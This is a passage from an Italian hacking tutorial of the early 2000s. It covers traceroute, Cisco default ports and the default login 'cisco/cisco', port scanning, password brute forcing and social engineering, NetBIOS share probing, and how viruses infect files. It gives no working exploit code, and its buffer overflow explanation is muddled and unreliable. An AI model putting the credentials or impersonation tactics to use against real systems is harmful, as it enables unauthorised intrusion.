scontro poco gradito a un router impostato per non restituire il valore di pacchetto ICMP TIME_EXCEEDED. Il tracert restituisce valori sballati: Con molta probabilità, l’Host che state sondando ha montato un dispositivo che genera risposte errate come HUMBLE di Rhino9. Quando questo programma rileva un tracciamento, cioè riceve un pacchetto UDP o ICMP il cui valore TTL corrisponde a 1, invia all’host che ne richiede il tracciamento dei dati falsati. 0x0000 0x0010 0x0020 0x0030 0x0040 00 00 C5 2A 2A 00 3C 64 2A 2A 00 0D 08 2A 2A 11 D4 00 2A 2A 22 00 B4 2A 2A 33 00 56 2A 2A 44 C8 02 2A 2A 45-53 01-11 00-9F 2A-2A 2A-2A 54 29 06 2A 2A 77 97 2A 2A 77 2A 2A 2A 08 A8 2A 2A 00 06 2A 2A 45 CF 2A 2A 00 2E 2A 2A ...."3DESTww..E. .<.Ô..È..)—*¨.Ï. Åd..´V..Ÿ.****** **************** ********** **Ecco un pacchetto “sniffato” durante un tracert Detto questo, starà poi a voi sviluppare l’occhio per riconoscere queste situazioni. Ora torniamo al nostro report. Osserviamo l’ultimo punto di passaggio. Se tutto è andato come previsto potremo notare che l’ultimo punto di passaggio corrisponde all’Host che abbiamo voluto tracciare. Ora facciamo un salto indietro di un punto, cosa notiamo? Notiamo che il penultimo salto con ogni probabilità, 99% si tratta di un router o di un firewall. Questo ovviamente vale per tutti quegli Host che offrono servizi ad esempio hosting, sendmail, ecc, in altri casi vi farò vedere come ad esempio il traceroute potrebbe rivelarsi utile anche per rilevare un tentativo di intrusione e localizzare l’aggressore quasi, se non addirittura fino a casa sua. Non dimentichiamo inoltre, che sempre grazie a Traceroute possiamo individuare una VPN (Virtual Private Network) cioè quelle reti dislocate geograficamente in posti differenti ma che conservano tra loro la comunicazione avvalendosi di ISP aziendali e/o ISP di servizi internet. E’ molto importante determinare quali siano i punti fondamentali di una rete remota che vogliamo analizzare perché in questo modo potremo avere sotto gli occhi uno schema abbastanza preciso di ciò che abbiamo di fronte. Non sottovalutate mai questo punto. Questi sono gli strumenti principali, ma con il tempo, più imparerete, più capirete da soli quali sono gli strumenti che vi serviranno mano a mano. Questi sono gli strumenti ESSENZIALI, se uno solo di questi strumenti vi manca, è come tentare di far partire la macchina senza benzina… Se conoscete anche qualche linguaggio di programmazione, potrete addirittura crearvi da soli le vostre applicazioni senza diventar matti a cercare in giro per in WEB gli strumenti che vi servono… In ogno caso vi do una dritta. Molti programmatori mettono a disposizione i sorgenti delle loro applicazioni. Non troverete facilmente il sito di un “hacker professionista” perché sarebbe come tagliarsi da soli le gambe, ma in giro, troverete certamente qualcosa. Sicuramente avrete anche capito che lo strumento davvero fondamentale di questo 12 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 13 “mestiere” è la testa. Ricordate, massimo rispetto del lavoro degli altri, se questi sbagliano aiutateli e correggete i loro errori. Non commettete atti criminosi verso sistemi informatici altrui. Se volete distruggere qualcosa fatelo sui vostri terminali, non su quelli altrui. Usate, l’ingegno, le conoscenze acquisite, e l’improvvisazione. Tentate sempre anche le cose più azzardate e più strane perché spesso la scoperta di una cosa nuova si trova proprio dietro un lampo di genio venuto quasi per caso… Apriamo una piccola parentesi sui Router Cisco: Router Cisco Quando un’azienda decide di acquistare un router Cisco accadono sempre delle cose piuttosto curiose, la prima delle quali è che se all’interno dell’azienda non vi è presente un amministratore di sistema più che accorto, il responsabile della rete farà installare il router lasciando che i tecnici della Cisco lascino le configurazioni di default. Non è una colpa da dare alla Cisco, anzi, solitamente se un tecnico Cisco domanda all’amministratore di sistema che servizi desidera abilitare e quali invece oscurare si sentirà rispondere al 90% dei casi: “basta che la rete funzioni”. Perfetto, il tecnico della Cisco, già stressato di suo non farà altro che collegare i cavi di rete, caricare le impostazioni fondamentali, lasciare giù un foglio con la configurazione di base apportata al router e tornarsene in ditta. Occhio, queste cose accadono realmente, ve lo posso garantire personalmente, visto che ho dovuto sistemare recentemente una rete letteramente massacrata dai Cracker, nella quale risultava la seguente configurazione di default del router cisco: TCP 21 (ftp) 23 (telnet) 79 (finger) 80 (http) 512 (exec) 513 (login) 514 (shell) 1993 (SNMP Cisco) 1999 (ident Cisco) 2001 4001 6001 9001 (XRemote) UDP 0 (tcpmux) 49 (domani) 67 (bootps) 69 (tftp) 123 (ntp) 161 (snmp) Ma la cosa più triste è che erano state lasciate le password di default.. User: cisco password: cisco Roba non credere… eppure cose di questo tipo sono vere. LA SCANSIONE DELLE PORTE Cos’altro possiamo scoprire con una scansione? Bhè, partiamo dal presupposto di vedere l’host remoto come un palazzo pieno di porte, alcune aperte e altre chiuse. Senza Port Scanner non sapremmo a quale porta andare a “bussare” quindi, senza una scansione delle porte, entrare in un server è come cercare di entrare bendati nel nostro ipotetico 13 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 14 palazzo pieno di porticine piccole piccole.. Risultato, ci spaccheremmo la faccia contro un pilastro. E non pensate nemmeno di sfoderare Telnet e bombardare la porta 21 con non so quali comandi, perchè non servirebbe a niente. Ad ogni porta corrisponde un determinato tipo di servizio (qui lo dico e qui lo nego, è difficile, ma non impossibile che alcune porte vengano usate per servizi diversi rispetto all’uso di default solito). Quindi una scansione non vi dice solo quali porte sono aperte, anzi, quasi non deve interessarci più di tanto… Sorpresi? Si? Pazienza, la verità è questa. Dite che ho detto una cosa stupida? Ok, allora adesso vi frego… Mettiamo di fare una scansione su di un server, troviamo la porta 88 aperta e subito allupati dall’emozione apriamo il nostro fido Telnet e ci connettiamo alla porta 88 sperando che ci compaia un remotelogin. Speranza vana. Niente di tutto questo, anzi probabilmente, anche se la porta 88 vi risulterà aperta, telnet non riuscirà a stabilire una connessione. A questo punto i più perseveranti tenteranno almeno un centinaio di volte prima di prendere la tastiera e picchiarla violentemente contro il monitor imprecando tutti i santi del paradiso. Alcuni proveranno le tecniche più rocambolesche e picchieranno nel browser internet persino la stringa http://www.target.com:88/ e tutte le varianti possibili.. Lasciate perdere. Non è assolutamente questo il modo di agire. E allora vi domanderete che si fa in questi casi… ebbene, si guarda la tabella qui sotto e si vede a che servizio corrisponde la tal porta. Se la nostra porta fosse 19, andiamo a controllare e vedremo che qusta porta corrisponde al servizio CHARGEN. Cercate su un motore di ricerca che cosa fa questo servizio, come funziona e a cosa serve. Se non trovate nulla di soddisfacente (sarà difficile) allora potrete prendere in considerazione di andare in qualche libreria di informatica e cercare sui libri le informazioni che vi servono. Starete pensando che è un’inutile perdita di tempo, ma non è così. Anzi, se davvero vi ostinate a pensarlo, non proseguite nemmeno a leggere questo libro, l’hacking non fa per voi. GENESI DI UN ERRORE Prima di introdurci in discorsi troppo complicati vorrei puntualizzare alcune cose. Se siete di quelli che pensano che un sistema operativo è impossibile che non funzioni bene o che presenti dei problemi solo perché prodotto da grandi software house come Microsoft e Apple, bhè allora siete fuori strada, e di molto anche. E’ molto più facile che un programma prodotto da Microsoft sia più bacato di un altro realizzato da un gruppo di amici con la passione della programmazione. Perché? Molto semplice… Immaginate un sistema operativo, prendiamo ad esempio Windows98 (uno a caso) e pensiamo per un attimo a quante funzioni, programmi, richiami, processi di background ecc deve gestire. Ci troviamo di fronte ad un opera colossale, dobbiamo ammetterlo, ma qual è uno dei suoi principali problemi? Come ben sappiamo ogni sistema operativo ha dietro di sé una storia vera e propria e in questo caso, per chi non lo sapesse, Win98 è stato “costruito” e concepito da un esercito di migliaia di programmatori. Come ben sappiamo all’interno di un gruppo di amici di appena una decina di elementi vi sono incomprensioni di vario genere, figuriamoci in un team formato da migliaia di persone che tra di loro forse il 2-3% hanno un contatto diretto faccia a faccia… E vi dirò di più… molti non si conoscono neppure non perché uno lavora al 10° piano dell’edificio Microsoft e l’altro al 4° piano, no… dovete sapere che questo esercito di programmatori sono sparsi un po’ ovunque su tutto il pianeta! Quindi è anche ovvio che un lavoro che comunque richiede 14 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 15 una precisione assoluta e la massima attenzione abbia qualche problema… Ecco svelato uno dei principali Bug delle software house: l’incomprensione. Questa era una cosa piuttosto ovvia, ma ho tenuto a precisarla dato che molti ancora credono che Windows lo abbia creato Bill Gates tutto da solo, e che quindi, tutte le colpe siano da imputare solo a lui. Gates ha altre colpe, ma per ora è meglio che stia zitto… Ma ora vediamo come un errore di programmazione può diventare una bomba innescata pronta ad esplodere e a far tremare una software house sino all’uscita della fantomatica patch. Sappiamo bene come un hacker sappia sfruttare vulnerabilità fisiche e umane per poter dimostrare la veridicità delle sue affermazioni e sappiamo anche come sia in grado di creare da solo piccole funzioni (non programmi) in grado di colpire nel cuore un sistema e di far eseguire ad esso tutte le operazioni che desidera. Queste funzioni sono chiamate in gergo EXPLOIT che significa in poche parole “sfruttare” (o “entrata in scena” dal gergo degli attori) il che ritradotto in linguaggio informatico significa “sfruttare l’informazione”, insomma, la stessa identica cosa… Detto in linguaggio più esplicito l’Exploit non è altro che un piccolo listato scritto in un qualche linguaggio di programmazione (per lo più in C e Perl) e messo solitamente a disposizione di tutti (su siti come www.bismark.it o www.crackinguniversity2000.it ne trovate a migliaia). Ma cosa fa nascere un exploit? Cosa spinge un hacker a creare queste funzioni in grado di alterare, modificare, prendere possesso e altro ancora di un sistema operativo in modo non autorizzato? Non voglio dilungarmi sull’etica hacker e sul perché fanno determinate cose. Questo non è argomento da trattare in questa sezione, qui cercherò di farvi capire come nasce l’exploit, causa e conseguenza. Cosa sono i punti vulnerabili e come scavare a fondo per localizzarli… Bisogna innanzi tutto distinguere le vulnerabilità fisiche da quelle umane. Non vi spaventate, non vi parlerò né di accelerazione gravitazionale né di psicanalisi, mi limiterò a fare un po’ di ordine nella vostra testa… La cosa fondamentale è cercare di avere una visione schematica della realtà per certe cose e per altre assolutamente no. Il computer è stato creato dall’uomo e quindi all’interno delle macchine risiede un po’ di tutti noi… Il computer è abbastanza prevedibile perché “ragiona” su funzioni ed eventi, ci sarà quindi possibile capire in anticipo le sue mosse e a batterlo sul tempo. VULNERABILITA’ FISICHE Un errore facile da trovare, specialmente in programmi di un certo spessore e sistemi operativi, è quello di inadeguate istruzioni capaci di gestire un certo tipo di evento o addirittura la totale mancanza presa in considerazione. Esempio, se io so che 2+2 da sempre come risultato 4 e 3+5 da come risultato sempre 8, e prevedo che questi due risultati possano essere sommati tra loro ma non specificando in quale evento preciso, accade una cosa strana… Il computer non sa cosa deve fare ed è possibile che non sia in grado di gestire un numero oltre le sue aspettative, o che l’evento non sia adeguatamente dichiarato a tal punto da, tradotto in informatica, causare un Buffer Overfloow, Run Time Error, errore di lettura nell’allocazione di memoria, ecc… Ora pensiamo per un attimo, se una cosa del genere succedesse utilizzando programmi desktop l’unica cosa che possiamo è tirare qualche imprecazione e mal che vada riavviare 15 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 16 il sistema… Ma cosa succede se un errore di questo tipo è presente in un server che gestisce dei daemon? Ve lo dico subito. Mettiamo che il login per accedere a un tal servizio ci chieda dapprima di inserire uno unserId e poi una Password. Il Bug è in agguato… L’userId e la password sono state programmare per non accettare più di 12 caratteri l’uno… cosa succede se io invio una stringa che forza l’immissione di 13 caratteri? Succede che il programma non riesce a gestire l’eccezione causando un potenziale buffer overfloow. Buffer overfloow significa che nel modulo di memoria prestabilito per una tal operazione è stato previsto un MaxLength (o un tot di byte - MaxLength: numero massimo di caratteri digitabili nell’input-) di un tot di caratteri, ad esempio: 12. Ora, esistono diversi modi per far si che l’input corrisponda a 13 piuttosto che a 12, uno dei quali è quello di far “credere” al computer che si stanno effettuando due login, quando invece la richiesta di accesso è una sola. Facendo questa doppia richiesta al server, la macchina remota si prepara ad accogliere un MaxLength di 24 caratteri nel buffer utilizzando una memoria temporanea gestita comunque dallo stesso programma, dll ecc.. Ma a questo punto, ecco la sorpresa (o meglio, la Sola colossale) il server riceve il login da parte di un unico IP al quale fa credito l’immissione input del login. Al momento della richiesta, il buffer fa riferimento ad un unico utente ed ecco il crack del sistema. L’errore sta nel fatto che il server non riesce a gestire una richiesta reale da una fittizia. Vengono immessi 13 caratteri (o perché no, 25) ed ecco la crisi del buffer. Oggi questo problema è ormai superato largamente, anche se ora esistono altri sistemi per appropriarsi del target, che vi credevate? Questo era solo un esempio. Vi posso accennare ancora cose che vediamo un po’ tutti i giorni, ad esempio cosa succede se usiamo Win98 per leggere un CD? Fate una prova, inserite un CD autopartente tipo quelli che troviamo nelle riviste di informatica. Aspettate che il CD si carichi e che parta da solo. Navighiamo un po’ nel CD e poi apriamo il cassetto del CDROM. La finestra dell’Ouput del Cd rimarrà fissa a monitor, per toglierla (visto che abbiamo tolto il cd) proviamo ora a ciccare sul tasto Quit o Exit. Subito apparirà “Lo Schermo della morte” e cioè il maledetto schermo blu con il solito messaggio di reinserire il CD e premere OK o ESC per terminare… Solo a volte e ripeto SOLO A VOLTE il computer riuscirà a ripartire senza doverlo resettare. Questo errore è stato risolto solo con Win2000 in modo definitivo. Se lo stesso procedimento lo facciamo sotto Win2000 ecco che un messaggio piccolo e discreto ci annuncerà che nel nostro lettore CD non c’è più il disco. A noi che ce frega? Clickiamo su Annulla e finita lì. Tutto questo perché? Semplice. Non è stato preso in considerazione che un utente può girargli di togliere il CDROM dal cassetto prima di chiudere il cd in modo corretto. Qualche purista potrebbe pensare che in questo caso la colpa sia dell’utente, ma di solito l’utente medio non ci arriva a certe cose e se non gliele si fa vedere almeno 10 volte non capisce il meccanismo. E poi il computer non dovrebbe semplificarci la vita? Aiutarci? Spesso è il PC che ha bisogno del nostro aiuto e non viceversa… Errori di questo tipo sono all’ordine del giorno per chi usa il pc per lavoro e questo è un dato sconfortante. Sappiamo bene che la sicurezza dei nostri dati dipende dalla serietà con cui viene creato un determinato software. Noi ci affidiamo a queste grandi Software House, paghiamo fior di milioni per avere un sistema funzionante e poi ecco che basta un piccolo errore a mandare in malora il lavoro di una giornata… E’ indispensabile che certi software vengano testati quasi allo stremo delle forze prima di essere lanciati sul mercato, ma si sa, i grandi “studiosi” di marketing sono troppo orgogliosi, troppo indaffarati ad assistere a Conventions e cene di lavoro che non riescono a capire un concetto fondamentale. Il tempo di velocità per la realizzazione di un prodotto è direttamente proporzionale al numero di errori e difetti che esso potrebbe contenere. 16 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 17 Ma la velocità di produzione a cui si susseguono nuove release dei prodotti software del mercato mondiale va sempre a danno dei poveri programmatori che si ritrovano a dover correre contro il tempo, stare perennemente sotto pressione e ad avere problemi di ulcera… Fine della lezione di marketing che non mi sembra il caso di portare avanti, noi non siamo certamente così “intelligenti” come loro… ;-) L’errore da variabile non dichiarata Ecco una cosa che mi ha sempre fatto impazzire… Come negli esempi precedenti abbiamo visto come un evento non considerato o addirittura non ipotizzato può creare conseguenze disastrose. Ebbene, per i più romantici che considerano l’Hacker una sorta di dio in terra dotato del “terzo occhio” che se batte tre password a caso una è sicuramente quella giusta, sarà un duro colpo. Sono tutte balle. Fin’ora abbiamo parlato di un solo lato della vulnerabilità fisica, ora ci addentreremo in qualcosa di più complesso, preparatevi. Più o meno ad intuito si può già capire dove può risiedere un errore di programmazione. Ovvio che questa non è una regola fissa, ma in tutti questi anni ho appurato che molti errori risiedono in listati dove non vengono dichiarate variabili in grado di gestire certi eventi. Ma ora è necessaria una piccola introduzione… Circa un anno fa mi è stato richiesto di testare la versione 10 di Corel Draw. Un lavoro colossale che ha richiesto il lavoro di 5 Software House, decine di analisti programmatori autonomi e diverse agenzie di grafica. Io dovevo testare la correttezza di funzioni come filtri, importazione ed esportazione immagini e verificare le nuove funzioni che vi erano state aggiunte. Da una parte avevo il manuale con il quale dovevo seguire gli esempi e vedere se il programma faceva effettivamente quello che diceva di fare. In caso di errori dall’altra parte avevo un altro pc con i listati e lì dovevo trovare l’errore, scrivere un commento e possibilmente inserire una variazione. Testarla ecc.. Gli errori più sconcertanti erano su funzioni che richiedevano troppe impostazioni. In poche parole, su 3-5 opzioni di esecuzione e funzioni addizionali abbiamo un margine d’errore contenuto perché ci ritroviamo a dover gestire solo una manciata di codici, ma la cosa cambia appena ci troviamo a dover gestire una combinazione di eventi che vanno da 10 a 20. Cosa accade di preciso? Alcuni programmatori hanno un modo tutto loro di sviluppare le applicazioni. Molti si affidano alle variabili, e quindi, associano un ComboBox o un CheckBox a un evento dimenticando a volte di dichiarare cosa deve effettuare il programma con un determinato tipo di opzioni selezionate. In questo tipo di listati scovare l’errore è molto semplice, perché al 99% l’evento o gli eventi da eseguire sono associati al pulsante “OK”, che troviamo nella finestra di dialogo. Basta andare a vedere (seguendo un po’ la logica) e si trova l’errore che ha bloccato il computer o il programma. Altri si affidano invece a DLL che sono contenute nelle cartelle del programma o sfruttano le API. In questo modo l’evento che ha causato il problema va ricercato anche altrove per le DLL e OCX, oppure in locale (sul codice stesso) per le API. Mettiamo di avere 4-5 opzioni per una singola funzione e che per queste singole opzioni non sia stato prevista una combinazione specifica. Ad esempio vogliamo modificare una fotografia con un filtro. Scegliamo il filtro e ci compare una finestra di dialogo che ci chiede la profondità della sfaccettatura, l’ombra, il rilievo, il colore, l’effetto movimento ecc… OK, decidiamo un misto delle seguenti opzioni e… “Questo programma ha eseguito 17 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 18 un’operazione non valida e verrà terminato”. Ma come?!? Vado a vedere il listato se per caso il problema è da imputare a Win98 o al del codice. A questo punto scopro che l’evento è stato creato in modo scorretto. Cosa è successo nel dettaglio? A livello di programmazione non è stata prevista una sequenza di scelta delle possibili opzioni… A volte non troviamo neppure singoli eventi dichiarati a se stanti e poi portati a livelli scalettati e quindi eseguiti. Non avete capito? Vi faccio un esempio. Scegliamo diversi filtri da applicare ad una bitmap, ora dando l’OK il programma dovrebbe eseguire le istruzioni una ad una per funzionare in modo corretto. Una cosa del tipo: applicazione filtro 1..fatto! Applicazione filtro 2…fatto! Ecc… sino alla fine dando il risultato cercato. E invece a volte no! Al momento dell’esecuzione vengono raccolti i dati immessi, e applicati in un’unica variabile! Cosa dell’altro mondo, ma tristemente vere… Non starò a spiegarvi nel dettaglio cosa è successo nel caso di quel programma, però questo spero vi abbia fatto capire che le colpe non sono sempre di Windows. L’errore può celarsi dietro qualsiasi applicazione o sistema operativo. Ricordate, se cercate un Bug, di provare tutte le combinazioni possibili, di provare tutte le effettive procedure e vi accorgerete, che al 70% qualche errore c’è… Però una cosa ve la voglio dire… Mentre testavo Corel Draw 10, in rari momenti di pausa leggevo le varie riviste di informatica… sfoglia e risfoglia… mica trovo la pubblicità di Corel Draw 10 già messo in commercio?!?!? Ma come…? Sto facendo io adesso i test……. […] Un altro esempio clamoroso sull’errore di variabile non dichiarata è il classico errore generato da un buffer overflow. Quante volte avete sentito queste due parole? Ora io non voglio addentrarmi nel dettaglio anche perché ci sono diverse guide che trattano l’argomento e la mia sarebbe solo una cosa in più e magari non spiegata abbastanza bene per via del poco spazio. Immaginate di avere un recipiente che contiene 200 litri di acqua, noi ne versiamo invece 201. Quell’1 in più è in grado di bloccare definitivamente il sistema sfruttando un bug contenuto in una variabile. La variabile in questo caso non è programmata (procedura) per un controllo dei dati immessi, li raccoglie in un contenitore (variabile) e va ad inserirlo nei settori della memoria. I settori della memoria però sono 200 e non 201! Cosa succede a questo punto? Il calcolatore non sa più cosa fare, e quel singolo dato immesso scatena il famoso buffer overflow che più o meno tradotto significa appunto “tracollo del contenitore”. VULNERABILITA’ UMANE Ciò che coinvolge problemi legati a vulnerabilità umane non è da ricercare nel software, ve lo dico subito. Spessissimo l’errore è umano. A volte non si tratta nemmeno di errori ma più che altro di sviste, da parte di amministratori di sistema nel nostro caso… Come si riconosce un tipo di errore da Vulnerabilità Umana? Semplice. L’apparato software funziona correttamente? Si. L’hardware genera conflitti? No. Ci sono eventi che generano risposte sempre identiche? Si. Le procedure sono state rispettate…? …mmm..forse. Vulnerabilità umana. Ci sono persone che memorizzano le azioni quotidiane e con il tempo è come se inserissero il “pilota automatico”. E’ come per la programmazione. Ad un evento segue sempre una risposta, ma non è detto che sia sempre uguale. Mai fossilizzarsi su concetti e automatismi, nell’informatica come in molti altri casi, è 18 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 19 potenzialmente una bomba innescata. In realtà su questo argomento ci sarebbero una marea di cose da affrontare, ve ne accennerò solo una, forse la più clamorosa... Password ai 4 venti Certi amministratori di sistema pretendono di affermare che il loro sistema è inviolabile per il solo fatto che hanno messo una password introvabile d’accesso alle risorse. Niente è più falso di questo. Nessuna password è sicura. Ecco perché è buona abitudine cambiare le password almeno una volta alla settimana, meglio se esadecimali e possibilmente lunghe non meno di 8 caratteri. Eccovi alcune tecniche con le quali è possibile estorcere le password: - Password troppo semplici es. admin, administrator, sesso, dio, rock, 123, abc, aaa, 666. - Social Engineering. Estorsione di password e userID utilizzando contatto telefonico con la vittima fingendosi un amministratore di sistema o altro. - Il Post-It traditore. Dai, ammettilo, hai la password scritta su un bigliettino attaccato al monitor, vero? Toglilo immediatamente! Non dirmi che solo tu entri nella stanza del computer… Se proprio la password è lunga scrivetela nei posti più impensati. Io ad esempio, una delle mie password l’ho scritta all’interno di una fede che porto al dito, 14 caratteri esadecimali. State pensando che uso sempre la stessa? Sbagliato. Poi vi spiego meglio - Attacco Brute Force. Il Brute Force è uno dei metodi più snervanti che possano esistere. Consiste nell’affidare la ricerca della password a un programma apposito, es. Brutus, WebCracker, Jhon, CrackerJack. Non sapete cosa sono? Eccolo qui sotto in tutto il suo splendore, un programma per brute force: Brutus, uno dei password cracker più utilizzati dagli hacker e non. Questi programmi hanno uno svantaggio che è allo stempo un vantaggio enorme. Per funzionare hanno bisogno che gli si dia in pasto un file .txt contenente una lista di password. In rete trovate sia il programma che i file password, ma solitamente, come nel caso di Brutus potrete anche generare password decimali, alfanumeriche. Questo è quello che viene definito attacco Brute Force. Un attacco con file password, invece, attacco a dizionario. Ma oggi sia per uno sia per l’altro s’intende semplicemente Brute Force. *Brutus AET2 19 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 20 Ma focalizziamo l’attenzione proprio su Brutus. Abbiamo detto che può tentare diverse combinazioni tra numeri e lettere, abbiamo detto che può leggere da un file password, e quindi provare tutta la lista sino alla fine. Ma come funziona? Semplice. Nei due casi tutto quello che fa questo tipo di programma è quello di tentare un RemoteLogin su un computer Host remoto. Manualmente impieghiamo un’ora per provare che so… 200 password? Un programma brute force può impiegare 5 minuti per provare 200 password, se non meno. Ecco a cosa serve, ad abbreviare i tempi. Brutus è anche in grado di fare un calcolo approssimativo sul tempo che impiegherà a crackare una password. Nel caso di attacco brute force potrebbe dare un responso che potrebbe farci rabbrividire: 200 – 250 anni, nel caso di attacco a dizionario, dipende da quante password sono inserite nel file .txt da cui va a leggere. L’attacco brute force, per quanto sia rozzo e spesso inefficace rimane uno dei metodi più usati dai lamer. La cosa abbruttente è che a volte ce la fanno anche… CONDIVISIONI PERICOLOSE Un amministratore di sistema può anche “dimenticarsi” di chiudere determinati servizi che in qualche modo potrebbero dare la possibilità ad aggressori esterni di infiltrarsi nella rete. Sto parlando delle condivisioni. Un classico esempio può essere la porta NetBios (139) aperta che all’interno di una rete LAN può essere utile per la condivisione di risorse come le stampanti, ma su un computer collegato in rete, non mi sembra proprio una buona idea… Partiamo dall’inizio. Esiste un baco nella configurazione standard dei protocolli di rete legati ai sistemi Microsoft (tanto per cambiare). Quando installiamo accesso remoto, ci sono due protocolli che si installano nel nostro sistema che sono: TCP/IP e NetBeui e/o NetBios. Ricordo che accesso remoto non serve solo alle connessioni internet Dial-Up, anzi, serve ad amministrare anche l’accesso diretto via cavo, connessione per collegamento di un computer remoto al nostro con un modem, Reti LAN, WAN. Ma qui sorge un problema. Nelle reti di computer perché così si possano definire, tutti i terminali danno disponibilità di accesso alle condivisioni (alcune protette da password e altre no) a tutti i computer host collegati. Quindi, da Esplora Risorse collegandosi a un qualsiasi computer della rete troveremo anche delle cartelle accessibili con o senza restrizioni di accesso, ma pur sempre visibili. Il problema è che tale meccanismo funziona anche su internet. Se noi ad esempio condividiamo in rete la cartella “Documenti” essa sarà visibile su internet esattamente come all’interno di una rete LAN. Per ovviare a questo inconveniente sarà necessario disabilitare il protocollo NetBios su TCP/IP. Facendo questo le nostre condivisioni saranno visibili solo su una rete locale e non su internet. Se volete fare un esperimento per vedere se un utente ha il NetBios abilitato sarà necessario utilizzare il suo indirizzo IP. Aprite MS-DOS e digitate al Prompt dei comandi questo: c:\>nbtstat –a 0.0.0.0 (dove 0.0.0.0 sta per l’indirizzo IP da controllare) Se il computer ha netbios abilitato potrete scoprire parecchie cose interessanti… 20 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 21 (Sui sistemi NT) Per disabilitare NetBios sulla vostra macchina dovrete andare nel pannello di controllo alla voce SERVIZI e mettere NetBios “Condivisione di file e stampanti in rete” con avvio MANUALE e non AUTOMATICO. Per arrestarlo da consolle (ma verrà riavviato al prossimo avvio del PC) basterà digitare al prompt dei comandi il comando NET STOP NETBIOS. Per eliminare eventuali condivisioni pericolose usiamo NET SHARE ADMIN$ /DELETE I VIRUS: Navigando in giro per la rete mi è capitato di trovare il tutorial sui Virus che avevo scritto due anni fa circa… Un giorno per curiosità ho scaricato la guida da un sito per vedere come era stato “trattato” o se vi erano state apportate modifiche. Scoprii che in alcuni casi era stato manipolato, he si… E non capisco perché, visto che le “correzzioni” si sono rivelate poi degli errori… Comunque qui vi ripropongo la versione giusta e aggiornata del tutorial. COSA SONO I VIRUS Come fa un virus a replicarsi e a nascondere i tentativi di rilevamento ? Come infetta il file .COM ? Esistono vari modi per infettare i file .EXE. Di base, il virus crea uno spazio nel programma per immettere il proprio codice. Poi, in virus, legge le intestazioni dei file eseguibili e la riscrive considerando uno spazio aggiuntivo per il virus. Dopo che il virus legge le intestazioni del file eseguibile e a manipolare le informazioni. A questo punto inizia il processo d'infezione. ----FASI---1. Letture delle intestazioni dell'eseguibile e le memorizza per riutilizzarle in seguito. Nell'intestazione del file è contenuta la lunghezza del file, il valore checksum e ogni altra informazione relativa al contenuto del file. 2. Il virus determina quanto spazio deve aggiungere al file per inserirsi in esso. 3. Il virus si aggiunge al file. Le dimensioni del virus e le modifiche che il virus provoca nell'intestazione del file rappresentano la firma del virus. 4.Il virus scrive l'intesatzione del programma e modifica le informazioni contenute nell'intestazione in modo da includere uno spazio aggiuntivo per le proprie necessità. 5. Il virus salva su disco il programma modificato. Questo particolare tipo di virus è chiamato VIRUS PARASSITA. Questo si attacca a un file e continuaa vivere per tutta la sua vita dentro il file infettato. Il virus muore solo se si cancella il file infetto. Questi parassiti sono diversi dai virus che attaccano il settore del boot che si insidiano della routine di avvio del sistema operativo in quanto si attaccano a un programma e si replicano attraverso altri programmi senza toccare il sistema operativo. Ammesso e non concesso, queste procedure sono diventate oggi abbastanza relative, ci sono molti altri modi di infettare un sistema operativo o una gerarchia di file. In linea di massima questa è comunque più o meno la procedura che viene eseguita. 21 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 22 I virus Toyan Horse I troyan horse non sono virus. Sono programmi che si nascondono all'interno di file non eseguibili (file compressi o documenti) e talvolta in un file eseguibile per evitare il rilevamento da parte della maggior parte dei programmi antivirus. Un cavallo di troia, al contrario dei virus, contiene solo la subroutine del virus. Essi hanna la caratteristica di fungere da porte aperte sui sistemi. Aprono in poche parole, delle porte senza nessuna autorizzazzione e rendono un normale computer client un server vero e proprio. L'Hacker si serve di questi programmi, per potersi garantire l’accesso alle risorse del computer vittima senza dover digitare nessuna password (eccetto qualche caso), oppure, per ottenere alcuni privilegi su macchine Host in modo da poter utilizzare tali macchine come se vi si trovasse dietro la tastiera del PC attaccato. I Virus Poliformici Il virus poliformico cripta il proprio codice interno. Questa codifica, nasconde l'aspetto del virus al controllo dei software antivirus. Per potersi replicare e propagare, questo virus decripta la sua porzione utilizzando una routine di decodifica, riportando il file criptato nel suo stato originale. La routine di decodifica del virus poliformico prende controllo del computer per decodificare il corpo del virus. Dopo questo procedimento, la routine di decodifica trasferisce il controllo della macchina al virus stesso in modo che questo possa diffondersi liberamente. I primi virus di questo genere erano NON-poliformici, ossia impiegavano una routine fissa che non mutava da un'infeziona all'altra. Questo rendeva più semplice la rilevazione del virus con dei software appositi, anche se questo era criptato o nascosto. Un virus poliformico è più difficile da individuare per gli antiV. Infatti esso genera una nuova routine di decodifica ad ogni infezione di file eseguibili, rendendo la firma del virus differenete ad ogni istanza. Generalmente un virus poliformico cambia la sua firma utilizzando un semplice generatore di codice macchina chiamato motore di mutazione. Il motore di mutazione utilizza un generatore di codice di numeri casuali e un algoritmo matematico abbastanza semplice, ma che comunque ottine l’effetto desiderato. Con il motore di mutazione un programmatore di virus, puo' trasformare praticamente ogni virus poliformico con semplici modifiche al codice assembler in modo che il virus richiami il motore di mutazione prima di copiare se stesso. Una tecnica usata negli ultimi tempi, per fare in modo che la “firma” del virus sia sempre diversa, viene utilizzato un algoritmo che legge il nome del computer o l’etichetta di volume del disco e vi applica un’operazione matematica. Un esempio lo possiamo trovare in Win32.Magister.B che cripta gli eseguibili proprio con un algoritmo generato dalla fusione della prima parte di codice del virus con quella del nome della macchina. Sono in grado di rilevarli SW antiV con metodi di scansione di ricerca nelle stringhe e quelli con motore di ricerca dotati di sistemi di identificazione a crittografia. Solitamente, le scansioni di tipo Euristico funzionano solo nei casi in cui all’interno del codice risiedano stringhe maligne che richiamano comandi di formattazione a basso livello, sovrascrittura di file di sistema o la manipolazione dei file di registro. I Virus Stealth (invisibili) Questo tipo di virus nasconde le modifiche apportate ai file o ai settori di boot. 22 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 23 I Virus 